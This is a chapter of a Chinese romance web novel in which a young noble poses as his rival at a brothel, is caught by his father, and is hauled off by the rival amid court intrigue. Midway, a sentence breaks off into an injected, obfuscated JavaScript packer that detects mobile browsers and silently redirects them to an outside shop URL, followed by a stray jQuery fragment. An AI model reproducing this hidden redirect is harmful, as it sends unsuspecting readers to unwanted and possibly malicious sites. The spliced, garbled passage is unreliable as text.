14. 在下喜欢男子
    季随得知消息之后,就乘着马车赶了过去。

    他到晚春楼下了马车,却见留宣侯站在道旁,正狐疑地往晚春楼楼上看。

    季随款步上前:“季随拜见侯爷,敢问侯爷在这站着做什么?”

    留宣侯不是温知满,季随在他这里不过是一个聪明伶俐点的晚辈,早些年还时常是他拿来训温知满时口中‘别人家的孩子’,因此对季随并无什么讨厌的情绪。

    他摆了一下手,有些困惑道:“本侯,似乎看见知满在楼上。”

    季随沉默几息,淡笑道:“怎么可能。听闻世子最近这几日一直在兵部当值,如今好不容易遇见一天休沐,这时候应该还在侯府中休息吧。”

    留宣侯若有所思地点了点头,季随劝他不要多想,目送留宣侯离开之后,他瞥了眼楼上那扇紧闭的窗户,迈入了晚春楼的大门。

    老鸨一直在楼下等着,季随刚进来,她就恭敬地上前迎道:“那冒牌公子现在在楼上,可需要找人去把他绑过来问问话?”

    季随做事素来稳重,平日都是实打实做事的,一般遇见这种莫名其妙的事情,他不需要多想就知道是谁在背后搞鬼。

    “不必,我亲自过去。”

    季随手指抵了一下眉心,根据外面看见的那扇窗户的位置,他直接往楼上走,去寻温知满所在的房间。

    *

    窗户没有露出一丝缝隙,光线被挡在了窗外,一声突兀的关窗户声打断了屋里正在弹奏的曲子,姑娘们惊疑地看向温知满。

    温知满背部靠着窗户,心脏狂跳到甚至有些头晕目眩,他喉咙发紧,想再打开窗户看一眼,却又不敢打开。

    长风也被吓得不轻,六神无主地在屋里打转。

    温知满绕过转圈的长风,走至桌前给自己倒了一杯茶缓解紧张,喝完后才意识到这是什么茶,他把茶杯掷到地上,气道:“你们这就没些正经茶?”

    有姑娘起身道:“公子消消气,若是要喝茶,奴家去外面端来一壶。”

    这时,屋子里的门被敲了两下,平缓而有节奏的声音一声一声敲在温知满的心尖上。

    他腿脚发软:“不会吧?我爹来了?”

    侯府的家风在很多地方都管得很松,唯有几点却是怎么也碰不得,青楼和赌场就是其中两个。

    这还是他第一次来青楼,也不是为了对姑娘们下手,就是单纯想给死对头造点谣。第一次就被他爹逮着,运气总不至于这么背吧?

    长风吓得脸色煞白:“不、不可能吧、爷你不就是在窗前站了一下,关窗户的速度那么快,指、指不定没看清……”

    他磕磕绊绊说完,猛地意识到自己带温知满来的是什么地方,本就不利索的话更是磕绊得不行。

    “开门。”

    声音冷硬平稳,外面的人又喊了一声,屈指再次敲门,声音重了一些。

    温知满认出这道声音,涣散的眼睛聚焦,他挥了把头上的冷汗,头一次觉得死对头的声音如此动听。

    他大喘了口气,拍了拍胸口,屋里的姑娘见状便起身去开门,青年冷若冰霜的脸出现在门外。

    季随的视线越过开门的姑娘,屋里依旧是原来的摆置,整整齐齐,他大致扫了眼屋内的情形,最后看向脸色陀红的温知满。

    他知道青楼大多都会用上一点催情,屋子里若有若无的甜腻腻的香味估摸就是催情用的,温知满以前不知道,很显然是中招了。

    季随冷声道:“听闻此处有个季二在,他在何处?”

    温知满挺胸抬头,就算假冒季随被当场捉住,他说话都硬气了不少:“我,怎么了?”

    瓷器的时候都过去那么多天了,肯定处理好了,他温知满也犯不着一直忍着对方,人用完就丢,脸色该甩还是甩。

    他想起程连云昨日说给季随也送了东西,眉梢挑起。

    季随抬手把门推得更大一些,屋里的熏香向外散去,他堵在门前:“不知世子所欲为何?”

    姑娘们一怔,正在不知所措的时候,季随抬手让他们退下,只留下自己和温知满。

    温知满蹭了蹭手心上的汗,回头看了眼躲在帘子后的长风,心道这人计划没一次靠谱的,下次绝对不会再听长风的鬼话了。

    他眼珠子一转,一步步朝季随走近,手指指了一下自己,又指向季随:“看不明白?我、抹黑你。”

    如今季随来青楼了,他也不算是抹黑对方,他抬手把季随推出去,自己靠着门框,吊儿郎当地说道:“做笔交易如何?”

    “我给你二、我给你十两银子,你告诉我程连云送你的什么东西,如何?”

    温知满磕绊地改了一下口。

    十两银子换一个问题,自己也没让季随把东西给自己,怎么看都是季随赚大了。

    季随神色闪过一丝诧异,温知满拧了下眉,正要说不要装傻的时候,这人身后蓦地传来一声怒喝。

    “温知满!”

    温知满缓缓眨了一下眼,后劲隐隐发凉。

    这声音怎么——

    留宣侯的头从季随身后冒了出来,中年男人脸上带着怒意:“你居然来逛青楼?!”

    温知满视线一点点错开挡在门前的季随,对上他爹的双眼,心中咯噔一响,这回腿是真软了。

    腿一软,他靠在门框处就站不直身体,即便已经慌得手足无措了,有一副极好的样貌撑着,反倒是多了一丝风流浪荡的感觉。

    于是,留宣侯就看见自己儿子浪荡地靠在门框,还不知悔改地盯着自己。

    完了,翻船了。

    温知满心中有什么嘎嘣碎掉的声音,

    季随没想到已经离开的留宣侯还会再原路回来,神色愣怔了一下,又看向自己面前的温知满。

    只见温知满软泥一般顺着门框软倒在地上,他肩膀颤了颤,脑子一抽:“这位大人……”

    温知满仰头满脸柔弱,将错就错道:“虽然我长得很像你的儿子,但我真不是。”

    季随:“……”

    留宣侯脚步一顿,随即怒意成几倍的增长,一手高高扬起厚实的巴掌。

    ……

    二楼有一处挂着帘子的看台,能俯瞰整个晚春楼。

    帘子后的人影端着茶盏,在季随进入晚春楼的时候就抬手示意人停下奏乐,品着茶观看了这场荒谬的闹剧。

    男人看了会,抬指敲了敲扶手:“这个留宣侯府的世子,和季随是什么关系?”

    常冶鼎跪在地上,因为右手受伤,只能用一只左手给男人倒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222125|151214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    茶,动作有些磕绊,在听见男人提起温知满的时候,吊梢三白眼闪过一丝狠辣。

    “盛京常传留宣侯府的世子与季随关系不和,可这么多年了,也没见两人真动过手。依下官看,两人暗地里指不定关系极好,这些关系不和之类的传言,不知道是做给谁看呢。”

    近些年圣上身体变差,几位皇子明里暗里也开始争夺皇位,四处拉拢自己的势力。

    季家季文平虽然是中立,但是季随却早就投入太子门下,季家若一定要说属于哪一派的,也归作太子一党。

    而留宣侯是圣上的人,圣上不方便处理政事,便把权利下放到各位皇子手中,养蛊一般让各皇子去争夺厮杀,留宣侯府只听圣命,谁也拉拢不过去。

    因此温知满和谁亲近也很重要。

    魏域眯起一双狐狸眼,笑道:“那依常大人的意思是?”

    常冶鼎跪下叩头:“下官誓死追随康王殿下!愿效犬马功劳!”

    *

    季随拦住留宣侯即将挥下去的手,俯身把坐在地上的温知满扶了起来,两人手指相触,他发现温知满的手冰凉一片。

    不禁吓,人菜瘾大、爱嚣张。

    季随脑海中飞快地闪过几个词,他让温知满胳膊挂在自己手臂上,那人才能站稳,

    他冷静劝说:“侯爷,不如这事情就交给在下处理,武官下手没有分寸,光靠打是没有用的。”

    留宣侯怒意不减,对着低着头的温知满说道:“今日的事情我会告诉你母亲,你亲自去和你母亲说。”

    温知满往季随身后躲着,手指戳了戳季随的腰,示意这人赶紧把自己带出去,结果这人就站在原地让留宣侯骂他。

    他一个没忍住用了点劲,旁边的人头也不回地摁住他的手,牢牢地攥住。

    季随颔首道:“侯爷请放心,世子并没有做什么逾矩的事情,想必是对此处好奇,上来坐了会。”

    他示意留宣侯看向屋内,里面干干净净的,除了温知满的小厮,也没有见别的人在里面。

    温知满从季随身后探出头,见留宣侯气消了些,他正想着如何脱离面前的困境,却被季随按住肩膀往外推出去几步。

    他回头,只见季随上前与留宣侯说了什么,他听不见,也不愿意上前挨骂,就站在原地,直到季随与留宣侯拱手告辞,温知满才被季随安全带出了晚春楼。

    踏出晚春楼,温知满又胆子大了,脚在岔路口一转,甩开季随的手就打算分道扬镳。

    那人却直接抓住他的衣领,把他押到一辆马车里。

    “做什么做什么!”

    温知满脚尖在地上乱踢乱划,想从季随的手中挣脱,不曾想季随力气奇大,两人推搡到马车旁边,对方直接掐着他的腰把他叉了上去。

    温知满扒着窗户,急道:“光天化日之下,你居然敢强抢民男?!”

    长风还没有跟上来!

    马车辚辚驶动,温知满直接冲着外面的驭手喊道:“往哪里去?送我回侯府!”

    季随慢条斯理地理了一下衣袖,抬手把温知满面前的帘子放下,隔绝了温知满与外界的交流。

    他接上了在晚春楼与温知满的对话:“世子若是想抹黑在下,也得找对方向,在下喜欢男子。”